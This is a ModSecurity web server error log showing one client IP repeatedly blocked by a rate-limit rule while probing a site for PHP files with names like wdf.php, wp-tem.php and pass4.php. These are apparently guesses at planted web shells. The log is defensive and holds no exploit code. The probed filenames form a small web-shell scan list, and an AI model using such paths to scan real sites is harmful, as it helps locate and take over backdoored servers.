[Mon Mar 02 10:58:54.670862 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:24797] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaT87kzkQFuA2qBk8UPSDgAAAYQ"]
[Mon Mar 02 10:58:55.372429 2026] [:error] [pid 23872:tid 23896] [client 172.190.142.176:33702] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaT870zkQFuA2qBk8UPSFQAAAZU"]
[Mon Mar 02 10:58:55.805803 2026] [:error] [pid 23872:tid 23880] [client 172.190.142.176:40895] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaT870zkQFuA2qBk8UPSGgAAAYU"]
[Mon Mar 02 10:58:56.266682 2026] [:error] [pid 31257:tid 31268] [client 172.190.142.176:48828] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/path.php"] [unique_id "aaT88P-JFLfishX45N9CzQAAAQU"]
[Mon Mar 02 10:58:56.777957 2026] [:error] [pid 31257:tid 31266] [client 172.190.142.176:40866] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaT88P-JFLfishX45N9C0QAAAQM"]
[Mon Mar 02 10:58:57.262961 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:37283] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaT88f-JFLfishX45N9C1AAAAQE"]
[Mon Mar 02 10:58:57.744627 2026] [:error] [pid 23872:tid 23879] [client 172.190.142.176:48774] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaT88UzkQFuA2qBk8UPSJAAAAYQ"]
[Mon Mar 02 10:58:58.211431 2026] [:error] [pid 23872:tid 23886] [client 172.190.142.176:37476] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "aaT88kzkQFuA2qBk8UPSJgAAAYs"]
[Mon Mar 02 10:58:58.632140 2026] [:error] [pid 21575:tid 21584] [client 172.190.142.176:54160] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaT88irocdArcJqFfInCcQAAAUU"]
[Mon Mar 02 10:58:59.113095 2026] [:error] [pid 21575:tid 21589] [client 172.190.142.176:54170] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaT88yrocdArcJqFfInCcwAAAUo"]
[Mon Mar 02 10:58:59.633505 2026] [:error] [pid 31257:tid 31279] [client 172.190.142.176:37453] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaT88_-JFLfishX45N9C1wAAARA"]
[Mon Mar 02 10:59:00.153174 2026] [:error] [pid 21575:tid 21585] [client 172.190.142.176:54200] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "aaT89CrocdArcJqFfInCeQAAAUY"]
[Mon Mar 02 10:59:00.580120 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:14217] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaT89EzkQFuA2qBk8UPSMQAAAYI"]
[Mon Mar 02 10:59:01.061106 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:1623] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaT89UzkQFuA2qBk8UPSMwAAAYo"]
[Mon Mar 02 10:59:01.675860 2026] [:error] [pid 21575:tid 21579] [client 172.190.142.176:54168] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaT89SrocdArcJqFfInCgQAAAUA"]
[Mon Mar 02 10:59:02.145945 2026] [:error] [pid 23872:tid 23875] [client 172.190.142.176:54171] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-tem.php"] [unique_id "aaT89kzkQFuA2qBk8UPSNgAAAYA"]
[Mon Mar 02 10:59:02.632479 2026] [:error] [pid 28794:tid 28848] [client 172.190.142.176:14235] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaT89qVy2qpaelbUob15SgAAAEw"]
[Mon Mar 02 10:59:03.186147 2026] [:error] [pid 21575:tid 21603] [client 172.190.142.176:1600] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaT89yrocdArcJqFfInChwAAAVg"]
[Mon Mar 02 10:59:03.831491 2026] [:error] [pid 21575:tid 21591] [client 172.190.142.176:15905] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaT89yrocdArcJqFfInCiQAAAUw"]
[Mon Mar 02 10:59:04.394170 2026] [:error] [pid 28908:tid 28928] [client 172.190.142.176:33673] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/avim.php"] [unique_id "aaT8-IqJmC8ih_lQQnAOSwAAANI"]
[Mon Mar 02 10:59:04.893646 2026] [:error] [pid 28794:tid 28858] [client 172.190.142.176:40844] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaT8-KVy2qpaelbUob15SwAAAFY"]
[Mon Mar 02 10:59:05.439540 2026] [:error] [pid 23872:tid 23877] [client 172.190.142.176:33638] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaT8-UzkQFuA2qBk8UPSQAAAAYI"]
[Mon Mar 02 10:59:06.137549 2026] [:error] [pid 31257:tid 31278] [client 172.190.142.176:26133] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaT8-v-JFLfishX45N9C5AAAAQ8"]
[Mon Mar 02 10:59:06.654255 2026] [:error] [pid 28908:tid 28912] [client 172.190.142.176:48773] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "aaT8-oqJmC8ih_lQQnAOTgAAAMI"]
[Mon Mar 02 10:59:07.267328 2026] [:error] [pid 23872:tid 23889] [client 172.190.142.176:10002] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaT8-0zkQFuA2qBk8UPSSQAAAY4"]
[Mon Mar 02 10:59:07.798506 2026] [:error] [pid 28793:tid 28823] [client 172.190.142.176:54365] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaT8-w2_fxBANaHo1f5YpgAAABA"]
[Mon Mar 02 10:59:08.451085 2026] [:error] [pid 28795:tid 28878] [client 172.190.142.176:54350] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaT8_LROd53wZBkdI_exHQAAAI8"]
[Mon Mar 02 10:59:08.973656 2026] [:error] [pid 31257:tid 31279] [client 172.190.142.176:14253] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "aaT8_P-JFLfishX45N9C5gAAARA"]
[Mon Mar 02 10:59:09.696012 2026] [:error] [pid 23872:tid 23887] [client 172.190.142.176:20935] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaT8_UzkQFuA2qBk8UPSXAAAAYw"]
[Mon Mar 02 10:59:10.304937 2026] [:error] [pid 28794:tid 28836] [client 172.190.142.176:48830] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaT8_qVy2qpaelbUob15TQAAAEA"]
[Mon Mar 02 10:59:10.915644 2026] [:error] [pid 23872:tid 23895] [client 172.190.142.176:40890] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaT8_kzkQFuA2qBk8UPSagAAAZQ"]
[Mon Mar 02 10:59:11.665754 2026] [:error] [pid 28795:tid 28863] [client 172.190.142.176:20974] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "aaT8_7ROd53wZBkdI_exHwAAAIA"]
[Mon Mar 02 10:59:12.299064 2026] [:error] [pid 28794:tid 28838] [client 172.190.142.176:40759] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaT9AKVy2qpaelbUob15TwAAAEI"]
[Mon Mar 02 10:59:13.095467 2026] [:error] [pid 23872:tid 23876] [client 172.190.142.176:20946] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaT9AUzkQFuA2qBk8UPSeQAAAYE"]
[Mon Mar 02 10:59:13.596511 2026] [:error] [pid 23872:tid 23892] [client 172.190.142.176:40739] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaT9AUzkQFuA2qBk8UPSewAAAZE"]
[Mon Mar 02 10:59:14.330142 2026] [:error] [pid 21575:tid 21593] [client 172.190.142.176:15729] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "aaT9AirocdArcJqFfInCkAAAAU4"]
[Mon Mar 02 10:59:15.170039 2026] [:error] [pid 31257:tid 31286] [client 172.190.142.176:26138] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaT9A_-JFLfishX45N9C8AAAARc"]
[Mon Mar 02 10:59:15.814019 2026] [:error] [pid 28793:tid 28810] [client 172.190.142.176:32267] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaT9Aw2_fxBANaHo1f5YqgAAAAM"]
[Mon Mar 02 10:59:16.345850 2026] [:error] [pid 23872:tid 23893] [client 172.190.142.176:40739] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaT9BEzkQFuA2qBk8UPShgAAAZI"]
[Mon Mar 02 10:59:17.034193 2026] [:error] [pid 31257:tid 31281] [client 172.190.142.176:14215] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaT9Bf-JFLfishX45N9C9QAAARI"]
[Mon Mar 02 10:59:17.639556 2026] [:error] [pid 28908:tid 28923] [client 172.190.142.176:40728] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaT9BYqJmC8ih_lQQnAOVgAAAM0"]
[Mon Mar 02 10:59:18.377853 2026] [:error] [pid 28908:tid 28910] [client 172.190.142.176:14243] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaT9BoqJmC8ih_lQQnAOWAAAAMA"]
[Mon Mar 02 10:59:18.951118 2026] [:error] [pid 23872:tid 23885] [client 172.190.142.176:14244] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaT9BkzkQFuA2qBk8UPSlgAAAYo"]
[Mon Mar 02 10:59:19.564132 2026] [:error] [pid 31257:tid 31264] [client 172.190.142.176:13919] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "aaT9B_-JFLfishX45N9DCgAAAQE"]
[Mon Mar 02 10:59:20.230932 2026] [:error] [pid 23872:tid 23881] [client 172.190.142.176:40708] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaT9CEzkQFuA2qBk8UPSnwAAAYY"]
[Mon Mar 02 10:59:20.886675 2026] [:error] [pid 28793:tid 28814] [client 172.190.142.176:37477] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaT9CA2_fxBANaHo1f5YsAAAAAc"]
[Mon Mar 02 10:59:21.463065 2026] [:error] [pid 23872:tid 23892] [client 172.190.142.176:3490] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaT9CUzkQFuA2qBk8UPSqQAAAZE"]
[Mon Mar 02 10:59:22.247398 2026] [:error] [pid 23872:tid 23894] [client 172.190.142.176:56243] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsws.php"] [unique_id "aaT9CkzkQFuA2qBk8UPSswAAAZM"]
[Mon Mar 02 10:59:22.846651 2026] [:error] [pid 21575:tid 21586] [client 172.190.142.176:35952] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaT9CirocdArcJqFfInCmAAAAUc"]
[Mon Mar 02 10:59:23.538638 2026] [:error] [pid 21575:tid 21589] [client 172.190.142.176:48186] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaT9CyrocdArcJqFfInCnAAAAUo"]
[Mon Mar 02 10:59:24.035058 2026] [:error] [pid 28795:tid 28887] [client 172.190.142.176:56212] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaT9DLROd53wZBkdI_exJQAAAJg"]
[Mon Mar 02 10:59:24.656620 2026] [:error] [pid 28793:tid 28812] [client 172.190.142.176:3508] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/G-in.php"] [unique_id "aaT9DA2_fxBANaHo1f5YsQAAAAU"]
[Mon Mar 02 10:59:25.114252 2026] [:error] [pid 21575:tid 21579] [client 172.190.142.176:3466] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaT9DSrocdArcJqFfInCoAAAAUA"]
[Mon Mar 02 10:59:25.753881 2026] [:error] [pid 28795:tid 28868] [client 172.190.142.176:40752] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaT9DbROd53wZBkdI_exLgAAAIU"]
[Mon Mar 02 10:59:26.262130 2026] [:error] [pid 21575:tid 21595] [client 172.190.142.176:61138] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaT9DirocdArcJqFfInCpAAAAVA"]
[Mon Mar 02 10:59:26.696467 2026] [:error] [pid 21575:tid 21583] [client 172.190.142.176:33173] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaT9DirocdArcJqFfInCpwAAAUQ"]
